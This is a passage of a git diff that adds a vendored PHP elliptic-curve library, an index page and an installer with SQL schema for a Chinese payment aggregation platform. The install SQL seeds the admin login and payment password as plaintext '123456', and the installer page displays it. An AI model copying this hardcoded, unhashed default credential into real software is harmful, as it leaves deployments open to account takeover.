PHP_EOL)).PHP_EOL; + $content .= '-----END EC PRIVATE KEY-----'; + + return $content; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Serializer\PrivateKey\PrivateKeySerializerInterface::parse() + */ + public function parse(string $formattedKey): PrivateKeyInterface + { + $formattedKey = str_replace('-----BEGIN EC PRIVATE KEY-----', '', $formattedKey); + $formattedKey = str_replace('-----END EC PRIVATE KEY-----', '', $formattedKey); + + $data = base64_decode($formattedKey); + + return $this->derSerializer->parse($data); + } +} diff --git a/includes/vendor/mdanter/ecc/src/Serializer/PrivateKey/PrivateKeySerializerInterface.php b/includes/vendor/mdanter/ecc/src/Serializer/PrivateKey/PrivateKeySerializerInterface.php new file mode 100644 index 0000000..68a59dc --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Serializer/PrivateKey/PrivateKeySerializerInterface.php @@ -0,0 +1,23 @@ +pointSerializer = $pointSerializer ?: new UncompressedPointSerializer(); + } + + /** + * @param PublicKeyInterface $key + * @return string + */ + public function format(PublicKeyInterface $key): string + { + if (! ($key->getCurve() instanceof NamedCurveFp)) { + throw new \RuntimeException('Not implemented for unnamed curves'); + } + + $sequence = new Sequence( + new Sequence( + new ObjectIdentifier(DerPublicKeySerializer::X509_ECDSA_OID), + CurveOidMapper::getCurveOid($key->getCurve()) + ), + new BitString($this->encodePoint($key->getPoint())) + ); + + return $sequence->getBinary(); + } + + /** + * @param PointInterface $point + * @return string + */ + public function encodePoint(PointInterface $point): string + { + return $this->pointSerializer->serialize($point); + } +} diff --git a/includes/vendor/mdanter/ecc/src/Serializer/PublicKey/Der/Parser.php b/includes/vendor/mdanter/ecc/src/Serializer/PublicKey/Der/Parser.php new file mode 100644 index 0000000..c9d9f64 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Serializer/PublicKey/Der/Parser.php @@ -0,0 +1,111 @@ +adapter = $adapter; + $this->pointSerializer = $pointSerializer ?: new UncompressedPointSerializer(); + } + + /** + * @param string $binaryData + * @return PublicKeyInterface + * @throws \FG\ASN1\Exception\ParserException + */ + public function parse(string $binaryData): PublicKeyInterface + { + $asnObject = ASNObject::fromBinary($binaryData); + if ($asnObject->getType() !== Identifier::SEQUENCE) { + throw new \RuntimeException('Invalid data.'); + } + + /** @var Sequence $asnObject */ + if ($asnObject->getNumberofChildren() != 2) { + throw new \RuntimeException('Invalid data.'); + } + + $children = $asnObject->getChildren(); + if (count($children) != 2) { + throw new \RuntimeException('Invalid data.'); + } + + if (count($children) != 2) { + throw new \RuntimeException('Invalid data.'); + } + + if ($children[0]->getType() !== Identifier::SEQUENCE) { + throw new \RuntimeException('Invalid data.'); + } + + if (count($children[0]->getChildren()) != 2) { + throw new \RuntimeException('Invalid data.'); + } + + if ($children[0]->getChildren()[0]->getType() !== Identifier::OBJECT_IDENTIFIER) { + throw new \RuntimeException('Invalid data.'); + } + + if ($children[0]->getChildren()[1]->getType() !== Identifier::OBJECT_IDENTIFIER) { + throw new \RuntimeException('Invalid data.'); + } + + if ($children[1]->getType() !== Identifier::BITSTRING) { + throw new \RuntimeException('Invalid data.'); + } + + $oid = $children[0]->getChildren()[0]; + $curveOid = $children[0]->getChildren()[1]; + $encodedKey = $children[1]; + if ($oid->getContent() !== DerPublicKeySerializer::X509_ECDSA_OID) { + throw new \RuntimeException('Invalid data: non X509 data.'); + } + + $generator = CurveOidMapper::getGeneratorFromOid($curveOid); + + return $this->parseKey($generator, $encodedKey->getContent()); + } + + /** + * @param GeneratorPoint $generator + * @param string $data + * @return PublicKeyInterface + */ + public function parseKey(GeneratorPoint $generator, string $data): PublicKeyInterface + { + $point = $this->pointSerializer->unserialize($generator->getCurve(), $data); + + return new PublicKey($this->adapter, $generator, $point); + } +} diff --git a/includes/vendor/mdanter/ecc/src/Serializer/PublicKey/DerPublicKeySerializer.php b/includes/vendor/mdanter/ecc/src/Serializer/PublicKey/DerPublicKeySerializer.php new file mode 100644 index 0000000..cdede23 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Serializer/PublicKey/DerPublicKeySerializer.php @@ -0,0 +1,81 @@ +adapter = $adapter ?: MathAdapterFactory::getAdapter(); + + $this->formatter = new Formatter(); + $this->parser = new Parser($this->adapter, $pointSerializer ?: new UncompressedPointSerializer()); + } + + /** + * + * @param PublicKeyInterface $key + * @return string + */ + public function serialize(PublicKeyInterface $key): string + { + return $this->formatter->format($key); + } + + /** + * @param PublicKeyInterface $key + * @return string + */ + public function getUncompressedKey(PublicKeyInterface $key): string + { + return $this->formatter->encodePoint($key->getPoint()); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Serializer\PublicKey\PublicKeySerializerInterface::parse() + */ + public function parse(string $string): PublicKeyInterface + { + return $this->parser->parse($string); + } +} diff --git a/includes/vendor/mdanter/ecc/src/Serializer/PublicKey/PemPublicKeySerializer.php b/includes/vendor/mdanter/ecc/src/Serializer/PublicKey/PemPublicKeySerializer.php new file mode 100644 index 0000000..d864fb2 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Serializer/PublicKey/PemPublicKeySerializer.php @@ -0,0 +1,56 @@ +derSerializer = $serializer; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Serializer\PublicKey\PublicKeySerializerInterface::serialize() + */ + public function serialize(PublicKeyInterface $key): string + { + $publicKeyInfo = $this->derSerializer->serialize($key); + + $content = '-----BEGIN PUBLIC KEY-----'.PHP_EOL; + $content .= trim(chunk_split(base64_encode($publicKeyInfo), 64, PHP_EOL)).PHP_EOL; + $content .= '-----END PUBLIC KEY-----'; + + return $content; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Serializer\PublicKey\PublicKeySerializerInterface::parse() + */ + public function parse(string $formattedKey): PublicKeyInterface + { + $formattedKey = str_replace('-----BEGIN PUBLIC KEY-----', '', $formattedKey); + $formattedKey = str_replace('-----END PUBLIC KEY-----', '', $formattedKey); + + $data = base64_decode($formattedKey); + + return $this->derSerializer->parse($data); + } +} diff --git a/includes/vendor/mdanter/ecc/src/Serializer/PublicKey/PublicKeySerializerInterface.php b/includes/vendor/mdanter/ecc/src/Serializer/PublicKey/PublicKeySerializerInterface.php new file mode 100644 index 0000000..a716434 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Serializer/PublicKey/PublicKeySerializerInterface.php @@ -0,0 +1,21 @@ +getR(), 10)), + new Integer(gmp_strval($signature->getS(), 10)) + ); + } + + /** + * @param SignatureInterface $signature + * @return string + */ + public function serialize(SignatureInterface $signature): string + { + return $this->toAsn($signature)->getBinary(); + } +} diff --git a/includes/vendor/mdanter/ecc/src/Serializer/Signature/Der/Parser.php b/includes/vendor/mdanter/ecc/src/Serializer/Signature/Der/Parser.php new file mode 100644 index 0000000..954c888 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Serializer/Signature/Der/Parser.php @@ -0,0 +1,47 @@ +getType() !== Identifier::SEQUENCE) { + throw new SignatureDecodeException('Invalid tag for sequence.'); + } + + if ($asnObject->getNumberofChildren() !== 2) { + throw new SignatureDecodeException('Invalid data.'); + } + + if (!($asnObject[0] instanceof Integer && $asnObject[1] instanceof Integer)) { + throw new SignatureDecodeException('Invalid data.'); + } + + return new Signature( + gmp_init($asnObject[0]->getContent(), 10), + gmp_init($asnObject[1]->getContent(), 10) + ); + } +} diff --git a/includes/vendor/mdanter/ecc/src/Serializer/Signature/DerSignatureSerializer.php b/includes/vendor/mdanter/ecc/src/Serializer/Signature/DerSignatureSerializer.php new file mode 100644 index 0000000..8c9b785 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Serializer/Signature/DerSignatureSerializer.php @@ -0,0 +1,44 @@ +parser = new Der\Parser(); + $this->formatter = new Der\Formatter(); + } + + /** + * @param SignatureInterface $signature + * @return string + */ + public function serialize(SignatureInterface $signature): string + { + return $this->formatter->serialize($signature); + } + + /** + * @param string $binary + * @return SignatureInterface + * @throws \FG\ASN1\Exception\ParserException + */ + public function parse(string $binary): SignatureInterface + { + return $this->parser->parse($binary); + } +} diff --git a/includes/vendor/mdanter/ecc/src/Serializer/Signature/DerSignatureSerializerInterface.php b/includes/vendor/mdanter/ecc/src/Serializer/Signature/DerSignatureSerializerInterface.php new file mode 100644 index 0000000..71e21e6 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Serializer/Signature/DerSignatureSerializerInterface.php @@ -0,0 +1,23 @@ + self::NIST_P192_OID, + NistCurve::NAME_P224 => self::NIST_P224_OID, + NistCurve::NAME_P256 => self::NIST_P256_OID, + NistCurve::NAME_P384 => self::NIST_P384_OID, + NistCurve::NAME_P521 => self::NIST_P521_OID, + SecgCurve::NAME_SECP_112R1 => self::SECP_112R1_OID, + SecgCurve::NAME_SECP_192K1 => self::SECP_192K1_OID, + SecgCurve::NAME_SECP_256K1 => self::SECP_256K1_OID, + SecgCurve::NAME_SECP_256R1 => self::SECP_256R1_OID, + SecgCurve::NAME_SECP_384R1 => self::SECP_384R1_OID, + ); + + /** + * @var array + */ + private static $sizeMap = array( + NistCurve::NAME_P192 => 24, + NistCurve::NAME_P224 => 28, + NistCurve::NAME_P256 => 32, + NistCurve::NAME_P384 => 48, + NistCurve::NAME_P521 => 66, + SecgCurve::NAME_SECP_112R1 => 14, + SecgCurve::NAME_SECP_192K1 => 24, + SecgCurve::NAME_SECP_256K1 => 32, + SecgCurve::NAME_SECP_256R1 => 32, + SecgCurve::NAME_SECP_384R1 => 48, + ); + + /** + * @return array + */ + public static function getNames(): array + { + return array_keys(self::$oidMap); + } + + /** + * @param CurveFpInterface $curve + * @return int + */ + public static function getByteSize(CurveFpInterface $curve): int + { + if ($curve instanceof NamedCurveFp && array_key_exists($curve->getName(), self::$sizeMap)) { + return self::$sizeMap[$curve->getName()]; + } + + throw new UnsupportedCurveException('Unsupported curve type'); + } + + /** + * @param NamedCurveFp $curve + * @return ObjectIdentifier + */ + public static function getCurveOid(NamedCurveFp $curve): ObjectIdentifier + { + if (array_key_exists($curve->getName(), self::$oidMap)) { + $oidString = self::$oidMap[$curve->getName()]; + + return new ObjectIdentifier($oidString); + } + + throw new UnsupportedCurveException('Unsupported curve type'); + } + + /** + * @param ObjectIdentifier $oid + * @return NamedCurveFp + */ + public static function getCurveFromOid(ObjectIdentifier $oid): NamedCurveFp + { + $oidString = $oid->getContent(); + $invertedMap = array_flip(self::$oidMap); + + if (array_key_exists($oidString, $invertedMap)) { + return CurveFactory::getCurveByName($invertedMap[$oidString]); + } + + $error = new UnsupportedCurveException('Invalid data: unsupported curve.'); + $error->setOid($oidString); + throw $error; + } + + /** + * @param ObjectIdentifier $oid + * @return GeneratorPoint + */ + public static function getGeneratorFromOid(ObjectIdentifier $oid): GeneratorPoint + { + $oidString = $oid->getContent(); + $invertedMap = array_flip(self::$oidMap); + + if (array_key_exists($oidString, $invertedMap)) { + return CurveFactory::getGeneratorByName($invertedMap[$oidString]); + } + + $error = new UnsupportedCurveException('Invalid data: unsupported generator.'); + $error->setOid($oidString); + throw $error; + } +} diff --git a/includes/vendor/mdanter/ecc/src/Util/BinaryString.php b/includes/vendor/mdanter/ecc/src/Util/BinaryString.php new file mode 100644 index 0000000..11042ff --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Util/BinaryString.php @@ -0,0 +1,66 @@ +equals($x, $zero)) { + return 0; + } + + $log2 = 0; + while (false === $adapter->equals($x, $zero)) { + $x = $adapter->rightShift($x, 1); + $log2++; + } + + return $log2 ; + } +} diff --git a/includes/vendor/mdanter/ecc/validate_examples.sh b/includes/vendor/mdanter/ecc/validate_examples.sh new file mode 100644 index 0000000..62368f3 --- /dev/null +++ b/includes/vendor/mdanter/ecc/validate_examples.sh @@ -0,0 +1,8 @@ +#!/bin/bash +for i in examples/*.php; do + php $i + if [ $? != 0 ]; then + echo "Error running example code"; + exit -1 + fi; +done diff --git a/index.php b/index.php new file mode 100644 index 0000000..fd4cfca --- /dev/null +++ b/index.php @@ -0,0 +1,39 @@ += 7.4 !'); +} +$is_defend = true; +$allow_search = true; +include("./includes/common.php"); + +if(isset($_GET['doc'])){ + $doc = trim($_GET['doc']); + if(!$conf['apiurl'])$conf['apiurl'] = $siteurl; + $loadfile = \lib\Template::loadDoc($doc); + include $loadfile; + exit; +} + +$mod = isset($_GET['mod'])?$_GET['mod']:'index'; + +if(isset($_GET['invite'])){ + $invite_code = trim($_GET['invite']); + $uid = get_invite_uid($invite_code); + if($uid && is_numeric($uid)){ + $_SESSION['invite_uid'] = intval($uid); + } +} + +if($mod=='index'){ + if($conf['homepage']==2){ + echo ' + + '; + exit; + }elseif($conf['homepage']==1){ + exit(""); + } +} + +$loadfile = \lib\Template::load($mod); +include $loadfile; \ No newline at end of file diff --git a/install/index.php b/install/index.php new file mode 100644 index 0000000..438e676 --- /dev/null +++ b/install/index.php @@ -0,0 +1,307 @@ + $host, + 'port' => $port, + 'user' => $user, + 'pwd' => $pwd, + 'dbname' => $database, + 'dbqz' => $dbqz + ); + $config=" '{$host}', //数据库服务器 + 'port' => {$port}, //数据库端口 + 'user' => '{$user}', //数据库用户名 + 'pwd' => '{$pwd}', //数据库密码 + 'dbname' => '{$database}', //数据库名 + 'dbqz' => '{$dbqz}' //数据表前缀 + ); + "; + } + if(empty($errorMsg)){ + try{ + $DB=new PDO("mysql:host=".$dbconfig['host'].";dbname=".$dbconfig['dbname'].";port=".$dbconfig['port'],$dbconfig['user'],$dbconfig['pwd']); + }catch(Exception $e){ + if($e->getCode() == 2002){ + $errorMsg='连接数据库失败:数据库地址填写错误!'; + }elseif($e->getCode() == 1045){ + $errorMsg='连接数据库失败:数据库用户名或密码填写错误!'; + }elseif($e->getCode() == 1049){ + $errorMsg='连接数据库失败:数据库名不存在!'; + }else{ + $errorMsg='连接数据库失败:'.$e->getMessage(); + } + } + if(empty($errorMsg)){ + $DB->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT); + $DB->exec("set sql_mode = ''"); + $DB->exec("set names utf8"); + $mysqlversion = $DB->query("select version()")->fetchColumn(); + if(version_compare($mysqlversion, '5.5.3', '<')){ + $errorMsg='MySQL数据库版本太低,需要MySQL 5.6或以上版本!'; + } + if(!$_GET['jump'] && !file_put_contents($databaseFile, $config)){ + $errorMsg='保存失败,请确保网站根目录有写入权限'; + } + } + } +}elseif($step==4){ + include '../config.php'; + if(!$dbconfig['user']||!$dbconfig['pwd']||!$dbconfig['dbname']) { + $errorMsg='请先填写好数据库并保存后再安装!'; + }else{ + try{ + $DB=new PDO("mysql:host=".$dbconfig['host'].";dbname=".$dbconfig['dbname'].";port=".$dbconfig['port'],$dbconfig['user'],$dbconfig['pwd']); + }catch(Exception $e){ + $errorMsg='连接数据库失败:'.$e->getMessage(); + } + if(empty($errorMsg) && !$_GET['jump']){ + $dbqz = $dbconfig['dbqz']; + $DB->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT); + $DB->exec("set sql_mode = ''"); + $DB->exec("set names utf8"); + $sqls=file_get_contents('install.sql'); + $sqls=explode(';', $sqls); + $sqls[]="INSERT INTO `".$dbqz."_config` VALUES ('syskey', '".random(32)."')"; + $sqls[]="INSERT INTO `".$dbqz."_config` VALUES ('build', '".date("Y-m-d")."')"; + $sqls[]="INSERT INTO `".$dbqz."_config` VALUES ('cronkey', '".rand(111111,999999)."')"; + $success=0;$error=0;$errorMsg=null; + foreach ($sqls as $value) { + $value=trim($value); + if(empty($value))continue; + $value = str_replace('pre_',$dbqz.'_',$value); + if($DB->exec($value)===false){ + $error++; + $dberror=$DB->errorInfo(); + $errorMsg.=$dberror[2]."
    "; + }else{ + $success++; + } + } + } + if(empty($errorMsg)){ + $lock_status = file_put_contents("install.lock",'安装锁'); + clearpack(); + $step = 5; + } + } +} + +?> + + + + + + + + 彩虹易支付 - 安装程序 + + + +

    +
    +
    +

    彩虹易支付 - 安装程序

    +
    + +
    MYSQL数据库信息配置
    +
    +
    +
    +
    + +
    + +
    +
    +
    + +
    + +
    +
    +
    + +
    + +
    +
    +
    + +
    + +
    +
    +
    + +
    + +
    +
    +
    + +
    + +
    +
    +
    +
    + +
    +
    +
    +
    + (如果已事先填写好config.php相关数据库配置,请 点击此处 跳过这一步!) +
    +
    +
    +
    +
    + +
    保存数据库配置
    +
    +'.$errorMsg.'
    '; +}else{ + echo ''; + if($DB->query("select * from ".$dbconfig['dbqz']."_config")){ +?> +
    系统检测到你已安装过彩虹易支付
    + + + + + +
    + +
    安装数据表
    + + +
    安装完成
    +
    + 0){?> +
      +
    • 1、系统已成功安装完毕!
    • +
    • 2、后台地址:/admin/ 密码:123456
    • +
    • 3、请及时修改后台管理员密码!
    • +
    • 4、你的空间不支持本地文件读写,请自行在 /install/ 目录建立 install.lock 文件!
    • +
    • 进入网站首页
    • +
    +
    + +
    安装环境检测
    +
    + 支持'; + }else{ + $check[2]='不支持'; + $install=false; + } + if(class_exists("PDO")){ + $check[0]='支持'; + }else{ + $check[0]='不支持'; + $install=false; + } + if(is_writable($databaseFile)) { + $check[1]='支持'; + }else{ + $check[1]='不支持'; + } + if(version_compare(PHP_VERSION,'7.4.0','<')){ + $check[3]='不支持'; + $install=false; + }else{ + $check[3]='支持'; + } + + ?> +
      +
    • PHP版本>=7.4
    • +
    • PDO_MYSQL组件
    • +
    • CURL组件
    • +
    • 主目录写入权限
    • +
    • 成功安装后安装文件就会锁定,如需重新安装,请手动删除install目录下install.lock配置文件!
    • + 检测通过,下一步'; + ?> +
    +
    + +
    + +
    +
    +
    + + diff --git a/install/install.sql b/install/install.sql new file mode 100644 index 0000000..dd2c547 --- /dev/null +++ b/install/install.sql @@ -0,0 +1,556 @@ +DROP TABLE IF EXISTS `pre_config`; +create table `pre_config` ( +`k` varchar(32) NOT NULL, +`v` text NULL, +PRIMARY KEY (`k`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +INSERT INTO `pre_config` VALUES ('version', '2045'); +INSERT INTO `pre_config` VALUES ('admin_user', 'admin'); +INSERT INTO `pre_config` VALUES ('admin_pwd', '123456'); +INSERT INTO `pre_config` VALUES ('admin_paypwd', '123456'); +INSERT INTO `pre_config` VALUES ('homepage', '0'); +INSERT INTO `pre_config` VALUES ('sitename', '聚合支付平台'); +INSERT INTO `pre_config` VALUES ('title', '聚合支付 - 行业领先的免签约支付平台'); +INSERT INTO `pre_config` VALUES ('keywords', '聚合支付,支付宝免签约即时到账,财付通免签约,微信免签约支付,QQ钱包免签约,免签约支付'); +INSERT INTO `pre_config` VALUES ('description', '聚合支付是XX公司旗下的免签约支付产品,完美解决支付难题,一站式接入支付宝,微信,财付通,QQ钱包,微信wap,帮助开发者快速集成到自己相应产品,效率高,见效快,费率低!'); +INSERT INTO `pre_config` VALUES ('orgname', 'XX公司'); +INSERT INTO `pre_config` VALUES ('kfqq', '123456789'); +INSERT INTO `pre_config` VALUES ('template', 'index1'); +INSERT INTO `pre_config` VALUES ('pre_maxmoney', '1000'); +INSERT INTO `pre_config` VALUES ('blockname', ''); +INSERT INTO `pre_config` VALUES ('blockalert', '温馨提醒该商品禁止出售,如有疑问请联系网站客服!'); +INSERT INTO `pre_config` VALUES ('settle_open', '1'); +INSERT INTO `pre_config` VALUES ('settle_type', '1'); +INSERT INTO `pre_config` VALUES ('settle_money', '30'); +INSERT INTO `pre_config` VALUES ('settle_rate', '0.5'); +INSERT INTO `pre_config` VALUES ('settle_fee_min', '0.1'); +INSERT INTO `pre_config` VALUES ('settle_fee_max', '20'); +INSERT INTO `pre_config` VALUES ('settle_alipay', '1'); +INSERT INTO `pre_config` VALUES ('settle_wxpay', '1'); +INSERT INTO `pre_config` VALUES ('settle_qqpay', '1'); +INSERT INTO `pre_config` VALUES ('settle_bank', '0'); +INSERT INTO `pre_config` VALUES ('transfer_alipay', '0'); +INSERT INTO `pre_config` VALUES ('transfer_wxpay', '0'); +INSERT INTO `pre_config` VALUES ('transfer_qqpay', '0'); +INSERT INTO `pre_config` VALUES ('transfer_name', '聚合支付平台'); +INSERT INTO `pre_config` VALUES ('transfer_desc', '聚合支付平台自动结算'); +INSERT INTO `pre_config` VALUES ('login_qq', '0'); +INSERT INTO `pre_config` VALUES ('login_alipay', '0'); +INSERT INTO `pre_config` VALUES ('login_alipay_channel', '0'); +INSERT INTO `pre_config` VALUES ('login_wx', '0'); +INSERT INTO `pre_config` VALUES ('login_wx_channel', '0'); +INSERT INTO `pre_config` VALUES ('reg_open', '1'); +INSERT INTO `pre_config` VALUES ('reg_pay', '1'); +INSERT INTO `pre_config` VALUES ('reg_pre_uid', '1000'); +INSERT INTO `pre_config` VALUES ('reg_pre_price', '5'); +INSERT INTO `pre_config` VALUES ('verifytype', '1'); +INSERT INTO `pre_config` VALUES ('test_open', '1'); +INSERT INTO `pre_config` VALUES ('test_pre_uid', '1000'); +INSERT INTO `pre_config` VALUES ('mail_cloud', '0'); +INSERT INTO `pre_config` VALUES ('mail_smtp', 'smtp.qq.com'); +INSERT INTO `pre_config` VALUES ('mail_port', '465'); +INSERT INTO `pre_config` VALUES ('mail_name', ''); +INSERT INTO `pre_config` VALUES ('mail_pwd', ''); +INSERT INTO `pre_config` VALUES ('sms_api', '0'); +INSERT INTO `pre_config` VALUES ('captcha_open', '1'); +INSERT INTO `pre_config` VALUES ('captcha_id', ''); +INSERT INTO `pre_config` VALUES ('captcha_key', ''); +INSERT INTO `pre_config` VALUES ('onecode', '1'); +INSERT INTO `pre_config` VALUES ('recharge', '1'); +INSERT INTO `pre_config` VALUES ('pageordername', '1'); +INSERT INTO `pre_config` VALUES ('notifyordername', '1'); +INSERT INTO `pre_config` VALUES ('user_refund', '1'); +INSERT INTO `pre_config` VALUES ('cdnpublic', '4'); +INSERT INTO `pre_config` VALUES ('ip_type', '2'); + + +DROP TABLE IF EXISTS `pre_cache`; +create table `pre_cache` ( + `k` varchar(32) NOT NULL, + `v` longtext NULL, + `expire` int(11) NOT NULL DEFAULT '0', +PRIMARY KEY (`k`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +DROP TABLE IF EXISTS `pre_anounce`; +create table `pre_anounce` ( + `id` int(11) unsigned NOT NULL auto_increment, + `content` text DEFAULT NULL, + `color` varchar(10) DEFAULT NULL, + `sort` int(11) NOT NULL DEFAULT '1', + `addtime` datetime DEFAULT NULL, + `status` tinyint(1) NOT NULL DEFAULT '1', +PRIMARY KEY (`id`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +DROP TABLE IF EXISTS `pre_type`; +CREATE TABLE `pre_type` ( + `id` int(11) unsigned NOT NULL auto_increment, + `name` varchar(30) NOT NULL, + `device` int(1) unsigned NOT NULL DEFAULT '0', + `showname` varchar(30) NOT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + PRIMARY KEY (`id`), + KEY `name` (`name`,`device`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +INSERT INTO `pre_type` VALUES (1, 'alipay', 0, '支付宝', 1); +INSERT INTO `pre_type` VALUES (2, 'wxpay', 0, '微信支付', 1); +INSERT INTO `pre_type` VALUES (3, 'qqpay', 0, 'QQ钱包', 1); +INSERT INTO `pre_type` VALUES (4, 'bank', 0, '网银支付', 0); +INSERT INTO `pre_type` VALUES (5, 'jdpay', 0, '京东支付', 0); +INSERT INTO `pre_type` VALUES (6, 'paypal', 0, 'PayPal', 0); + +DROP TABLE IF EXISTS `pre_plugin`; +CREATE TABLE `pre_plugin` ( + `name` varchar(30) NOT NULL, + `showname` varchar(60) DEFAULT NULL, + `author` varchar(60) DEFAULT NULL, + `link` varchar(255) DEFAULT NULL, + `types` varchar(50) DEFAULT NULL, + `transtypes` varchar(50) DEFAULT NULL, + PRIMARY KEY (`name`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +DROP TABLE IF EXISTS `pre_channel`; +CREATE TABLE `pre_channel` ( + `id` int(11) unsigned NOT NULL auto_increment, + `mode` tinyint(1) DEFAULT 0, + `type` int(11) unsigned NOT NULL, + `plugin` varchar(30) NOT NULL, + `name` varchar(30) NOT NULL, + `rate` decimal(5,2) NOT NULL DEFAULT '100.00', + `status` tinyint(1) NOT NULL DEFAULT '0', + `apptype` varchar(50) DEFAULT NULL, + `daytop` int(10) DEFAULT 0, + `daystatus` tinyint(1) DEFAULT 0, + `paymin` varchar(10) DEFAULT NULL, + `paymax` varchar(10) DEFAULT NULL, + `appwxmp` int(11) DEFAULT NULL, + `appwxa` int(11) DEFAULT NULL, + `costrate` decimal(5,2) DEFAULT NULL, + `config` text DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `type` (`type`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +DROP TABLE IF EXISTS `pre_roll`; +CREATE TABLE `pre_roll` ( + `id` int(11) unsigned NOT NULL auto_increment, + `type` int(11) unsigned NOT NULL, + `name` varchar(30) NOT NULL, + `kind` int(1) unsigned NOT NULL DEFAULT '0', + `info` text DEFAULT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + `index` int(11) NOT NULL DEFAULT '0', + PRIMARY KEY (`id`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=101; + +DROP TABLE IF EXISTS `pre_weixin`; +CREATE TABLE `pre_weixin` ( + `id` int(11) unsigned NOT NULL auto_increment, + `type` tinyint(4) unsigned NOT NULL DEFAULT '0', + `name` varchar(30) NOT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + `appid` varchar(150) DEFAULT NULL, + `appsecret` varchar(250) DEFAULT NULL, + `access_token` varchar(300) DEFAULT NULL, + `addtime` datetime DEFAULT NULL, + `updatetime` datetime DEFAULT NULL, + `expiretime` datetime DEFAULT NULL, + PRIMARY KEY (`id`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +DROP TABLE IF EXISTS `pre_order`; +CREATE TABLE `pre_order` ( + `trade_no` char(19) NOT NULL, + `out_trade_no` varchar(150) NOT NULL, + `api_trade_no` varchar(150) DEFAULT NULL, + `uid` int(11) unsigned NOT NULL, + `tid` tinyint(11) unsigned NOT NULL DEFAULT '0', + `type` int(10) unsigned NOT NULL, + `channel` int(10) unsigned NOT NULL, + `name` varchar(64) NOT NULL, + `money` decimal(10,2) NOT NULL, + `realmoney` decimal(10,2) DEFAULT NULL, + `getmoney` decimal(10,2) DEFAULT NULL, + `profitmoney` decimal(10,2) DEFAULT NULL, + `refundmoney` decimal(10,2) DEFAULT NULL, + `notify_url` varchar(255) DEFAULT NULL, + `return_url` varchar(255) DEFAULT NULL, + `param` varchar(255) DEFAULT NULL, + `addtime` datetime DEFAULT NULL, + `endtime` datetime DEFAULT NULL, + `date` date DEFAULT NULL, + `domain` varchar(64) DEFAULT NULL, + `domain2` varchar(64) DEFAULT NULL, + `ip` varchar(50) DEFAULT NULL, + `buyer` varchar(100) DEFAULT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + `notify` int(5) NOT NULL DEFAULT '0', + `notifytime` datetime DEFAULT NULL, + `invite` int(11) unsigned NOT NULL DEFAULT '0', + `invitemoney` decimal(10,2) DEFAULT NULL, + `combine` tinyint(1) NOT NULL DEFAULT '0', + `profits` int(11) NOT NULL DEFAULT '0', + `profits2` int(11) NOT NULL DEFAULT '0', + `settle` tinyint(1) NOT NULL DEFAULT '0', + `subchannel` int(11) NOT NULL DEFAULT '0', + `payurl` varchar(500) DEFAULT NULL, + `ext` text DEFAULT NULL, + `version` tinyint(1) NOT NULL DEFAULT '0', + `bill_trade_no` varchar(150) DEFAULT NULL, + `mobile` varchar(100) DEFAULT NULL, + PRIMARY KEY (`trade_no`), + KEY `uid` (`uid`), + KEY `out_trade_no` (`out_trade_no`,`uid`), + KEY `api_trade_no` (`api_trade_no`), + KEY `bill_trade_no` (`bill_trade_no`), + KEY `date` (`date`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +DROP TABLE IF EXISTS `pre_group`; +CREATE TABLE `pre_group` ( + `gid` int(11) unsigned NOT NULL auto_increment, + `name` varchar(30) NOT NULL, + `info` varchar(1024) DEFAULT NULL, + `isbuy` tinyint(1) NOT NULL DEFAULT 0, + `price` decimal(10,2) DEFAULT NULL, + `sort` int(10) NOT NULL DEFAULT 0, + `expire` int(10) NOT NULL DEFAULT 0, + `config` text DEFAULT NULL, + `settings` text DEFAULT NULL, + `visible` varchar(30) DEFAULT NULL, + PRIMARY KEY (`gid`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +INSERT INTO `pre_group` (`gid`, `name`, `info`) VALUES +(0, '默认用户组', '{"1":{"type":"","channel":"-1","rate":""},"2":{"type":"","channel":"-1","rate":""},"3":{"type":"","channel":"-1","rate":""}}'); +UPDATE `pre_group` SET `gid` = '0' WHERE `gid` = 1; + +DROP TABLE IF EXISTS `pre_user`; +CREATE TABLE `pre_user` ( + `uid` int(11) unsigned NOT NULL auto_increment, + `gid` int(11) unsigned NOT NULL DEFAULT 0, + `upid` int(11) unsigned NOT NULL DEFAULT 0, + `key` varchar(32) NOT NULL, + `pwd` varchar(32) DEFAULT NULL, + `account` varchar(128) DEFAULT NULL, + `username` varchar(128) DEFAULT NULL, + `codename` varchar(32) DEFAULT NULL, + `settle_id` tinyint(4) NOT NULL DEFAULT '1', + `alipay_uid` varchar(32) DEFAULT NULL, + `qq_uid` varchar(32) DEFAULT NULL, + `wx_uid` varchar(32) DEFAULT NULL, + `money` decimal(10,2) NOT NULL, + `email` varchar(32) DEFAULT NULL, + `phone` varchar(20) DEFAULT NULL, + `qq` varchar(20) DEFAULT NULL, + `url` varchar(64) DEFAULT NULL, + `cert` tinyint(4) NOT NULL DEFAULT '0', + `certtype` tinyint(4) NOT NULL DEFAULT '0', + `certmethod` tinyint(4) NOT NULL DEFAULT '0', + `certno` varchar(18) DEFAULT NULL, + `certname` 